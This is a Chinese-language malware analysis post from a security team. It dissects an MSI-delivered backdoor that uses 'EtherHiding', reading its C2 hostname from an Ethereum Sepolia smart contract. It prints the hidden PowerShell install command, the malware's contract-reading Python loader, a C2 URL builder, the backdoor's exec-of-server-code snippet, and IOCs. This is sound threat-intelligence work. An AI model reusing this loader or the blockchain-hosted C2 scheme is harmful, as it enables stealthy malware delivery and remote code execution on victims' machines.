EtherHiding 后门样本分析
原创
megaparsec
megaparsec
ChaMd5安全团队
2026年10月22日 08:00
辽宁
去阅读
诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)
基本信息
样本来源于@malwrhunterteam、@smica83以及MalwareBazaar。
从 hxxps://uptodately[.]blob[.]core.windows.net/devport/fixline.msi 下载得到 fixline.msi(MD5:e7d1cfcf6d7a98072877715a64a64519)文件。下载链接已失效,该 MSI 文件在 VirusTotal 上已标记为 malicious。。
样本分析
使用Orca(https://learn.microsoft.com/en-us/windows/win32/msi/orca-exe)查看这个msi文件,File字段下有两个文件,分别为Mus.ps1与get\_message.py。
而CustomAction配置为如下,即静默后台执行指定目录下的 Mus.ps1脚本,并绕过系统的脚本执行策略限制。
cmd.exe /c start \"\" powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File \"[SCRIPTFOLDER]Mus.ps1\"
使用lessmsi(https://github.com/activescott/lessmsi)提取File字段下的两个文件。
脚本Mus.ps1(MD5:c3f1c57cf2bc5f11e239ce5c69e1e4c6)内容如下图所示。
脚本类样本,交给AI进行快速分析。在 LOCALAPPDATA 下创建随机目录,下载并解压便携版 Python,安装 pip 及多个高风险依赖,复制并执行本地脚本 get\_message.py,最后通过 pythonw.exe 从远程读取 JSON 并 exec 其中的 c 字段代码。
| 阶段 | 要点 |
|---|---|
| 1. 初始化随机目录 | 在 %LOCALAPPDATA% 下生成 9 位随机字母目录;临时 zip 指向 %TEMP%\py.zip |
| 2. 下载便携 Python | 从 python.org 下载 python-3.14.3-embed-amd64.zip,解压到随机目录,删除 zip |
| 3. 安装 pip 与依赖 | 下载 get-pip.py 并安装到本地 Lib\site-packages;安装 pythonnet、pywin32、pywinpty、websockets、web3 |
| 4. 投放并执行本地脚本 | 从 %LOCALAPPDATA%\MusicUpd\scripts\get\_message.py 复制到 Python 目录并执行 |
| 5. 远程加载执行 | 用 pythonw.exe 无窗口运行;读取同目录 ML.txt 作为主机名;访问 https://<主机>/<6随机字母>/<9随机字母>?v=6;忽略证书校验;取 JSON 的 c 字段并 exec |
get\_message.py(MD5:f5455d6e2d82a68d2b176188b7ec6d38)内容如下所示。利用了EtherHiding 技术,通过 web3 连接以太坊 Sepolia 测试网公共 RPC,对固定合约地址 0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f 调用 getMessage() 视图函数获取字符串,把返回字符串写入 Python 目录下的 ML.txt。该文件随后被 PowerShell 内联代码读取,作为远程 URL 的主机名,用于下载并 exec 远程代码。
import sys
sys.path.append(fr'{\"\\\\\".join(sys.executable.split('\\\\')[:-1])}\\Lib\\site-packages')
from web3 import Web3
a=[
{
\"inputs\": [
{
\"internalType\": \"string\",
\"name\": \"newText\",
\"type\": \"string\"
}
],
\"name\": \"setMessage\",
\"outputs\": [],
\"stateMutability\": \"nonpayable\",
\"type\": \"function\"
},
{
\"inputs\": [],
\"stateMutability\": \"nonpayable\",
\"type\": \"constructor\"
},
{
\"inputs\": [],
\"name\": \"getMessage\",
\"outputs\": [
{
\"internalType\": \"string\",
\"name\": \"\",
\"type\": \"string\"
}
],
\"stateMutability\": \"view\",
\"type\": \"function\"
},
{
\"inputs\": [],
\"name\": \"text\",
\"outputs\": [
{
\"internalType\": \"string\",
\"name\": \"\",
\"type\": \"string\"
}
],
\"stateMutability\": \"view\",
\"type\": \"function\"
}
]
w=Web3(Web3.HTTPProvider(\"https://ethereum-sepolia-rpc.publicnode.com\"))
res = w.eth.contract(\"0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f\",abi=a).functions.getMessage().call()
with open(f\"{\"\\\\\".join(sys.executable.split('\\\\')[:-1])}\\\\ML.txt\",\"w\") as f:
print(str(res).strip(), file=f)
C2 构造逻辑脚本如下,输出的目标URL为 https:[//]deployment.eastus.cloudapp.azure[.]com/uAAHeN/GuQjNcIWA?v=6
import random
import string
from web3 import Web3
RPC = \"https://ethereum-sepolia-rpc.publicnode.com\"
CONTRACT = \"0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f\"
ABI = [{
\"inputs\": [],
\"name\": \"getMessage\",
\"outputs\": [{\"internalType\": \"string\", \"name\": \"\", \"type\": \"string\"}],
\"stateMutability\": \"view\",
\"type\": \"function\"
}]
w3 = Web3(Web3.HTTPProvider(RPC))
contract = w3.eth.contract(address=CONTRACT, abi=ABI)
try:
domain = contract.functions.getMessage().call().strip()
except Exception as e:
print(f\"[-] 查询合约失败: {e}\")
raise SystemExit(1)
rand6 = ''.join(random.choice(string.ascii_letters) for _ in range(6))
rand9 = ''.join(random.choice(string.ascii_letters) for _ in range(9))
url = f\"https://{domain}/{rand6}/{rand9}?v=6\"
print(url)
当前(2026.10.21)依旧能访问到,内容如下图所示,这是初始 PowerShell 下载器取回的 {\"c\":\"...\"} 载荷本体,一个自定义 ChaCha20 加密轮询后门,定期向 C2 发送加密心跳或结果,接收加密的 Python 源码,并在当前进程全局命名空间中 exec 执行。
- 主机标识生成与密钥派生:从 pythonw.exe 所在随机目录名截 8 个字母,重复两次成 16 字符;同时用作 ChaCha20 密钥和 local\_id。
- 初始化心跳数据:生成 JSON {\"ping\":{\"local\_id\":\"<客户端标识>\", \"timestamp\":\"<本地时间>\" , \"ping\":true\" }}。
- 自定义 ChaCha20:使用自定义 ChaCha20(16 字节 key、8 字节 nonce、20 轮)加密。
- C2 地址获取:从 Python 解释器所在目录读取
ML.txt,把其中的内容作为服务器主机名。如果读取失败,则使用内置默认主机名。deployment[.]eastus.cloudapp.azure[.]com 为默认主机名。 - 动态执行服务器响应:exec() 会将字符串作为 Python 程序执行,而且使用 globals() 提供当前全局命名空间。
plaintext = decrypt(response[8:]).decode('utf-8')
if plaintext:
try:
exec(plaintext, globals())
except Exception:
traceback.print_exc()
- 持续回连机制:进入无限循环,每次执行完网络请求后随机休眠 75–105 秒。
对该合约地址 0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f 进行链上历史消息回溯。
- 目前交易总数为 3 笔,3 笔交易中只有 2 笔命中 setMessage。
- 第一次 setMessage 为占位消息。区块 11744488,写入 Hello from Python!。这是典型的开发/测试阶段遗留值,用来验证合约可写、读取链路通畅
- 第二次 setMessage 为武器化切换。区块 11756400,写入 deployment[.]eastus.cloudapp.azure[.]com。
- 时间间隔约 1.65 天,Sepolia 出块约 12 秒,两次写入相隔 11912 块,约 39.7 小时。攻击者先在测试网验证链路,约 1.65 天后把合约指向真实基础设施。
import requests, time
from web3 import Web3
BASE = \"https://eth-sepolia.blockscout.com/api/v2\"
CONTRACT = \"0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f\"
w3 = Web3()
ABI = [{\"inputs\":[{\"name\":\"newText\",\"type\":\"string\"}],
\"name\":\"setMessage\",\"outputs\":[],\"type\":\"function\"}]
contract_abi = w3.eth.contract(abi=ABI)
def fetch_all_transactions():
url = f\"{BASE}/addresses/{CONTRACT}/transactions\"
params, txs = {}, []
while True:
for attempt in range(3):
try:
r = requests.get(url, params=params, timeout=20)
r.raise_for_status()
data = r.json()
break
except Exception as e:
print(f\"[!] 请求失败 (尝试 {attempt+1}/3): {e}\")
time.sleep(2 ** attempt)
else:
raise SystemExit(\"分页请求连续失败\")
txs.extend(data.get(\"items\", []))
nxt = data.get(\"next_page_params\")
if not nxt:
break
params = nxt
print(f\"[*] 已获取 {len(txs)} 笔\")
time.sleep(0.2)
return txs
txs = fetch_all_transactions()
print(f\"\
[+] 交易总数: {len(txs)}\")
history = []
for tx in txs:
to = (tx.get(\"to\") or {}).get(\"hash\") if isinstance(tx.get(\"to\"), dict) else tx.get(\"to\")
if not to or to.lower() != CONTRACT.lower():
continue
inp = tx.get(\"raw_input\") or tx.get(\"input\")
if not inp or inp == \"0x\":
continue
try:
fn, params = contract_abi.decode_function_input(inp)
if fn.fn_name == \"setMessage\":
history.append((
tx.get(\"block_number\") or int(tx.get(\"blockNumber\", \"0\"), 16),
tx.get(\"hash\"),
params[\"newText\"],
))
except Exception:
pass
history.sort()
print(f\"\
[setMessage 历史] 共 {len(history)} 次:\")
for bn, h, t inhistory:
print(f\" 块 {bn} {h} -> {t!r}\")
IOCs
e7d1cfcf6d7a98072877715a64a64519
c3f1c57cf2bc5f11e239ce5c69e1e4c6
f5455d6e2d82a68d2b176188b7ec6d38
deployment[.]eastus.cloudapp.azure[.]com
0daedf9df48e11709f3f0db6d381b8d0
37cb911ded59254772809ba82b66dae5
0087138db3fa04c6f5a5772ad81f21af
参考
1.https://x.com/malwrhunterteam/status/2102856035375747177
2.https://guard.io/labs/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts
3.https://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack
4.https://www.sysdig.com/blog/etherrat-dissected-how-a-react2shell-implant-delivers-5-payloads-through-blockchain-c2
5.https://www.joesandbox.com/analysis/1977026/0/html
6.https://blog.xlab.qianxin.com/dysphoria/
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论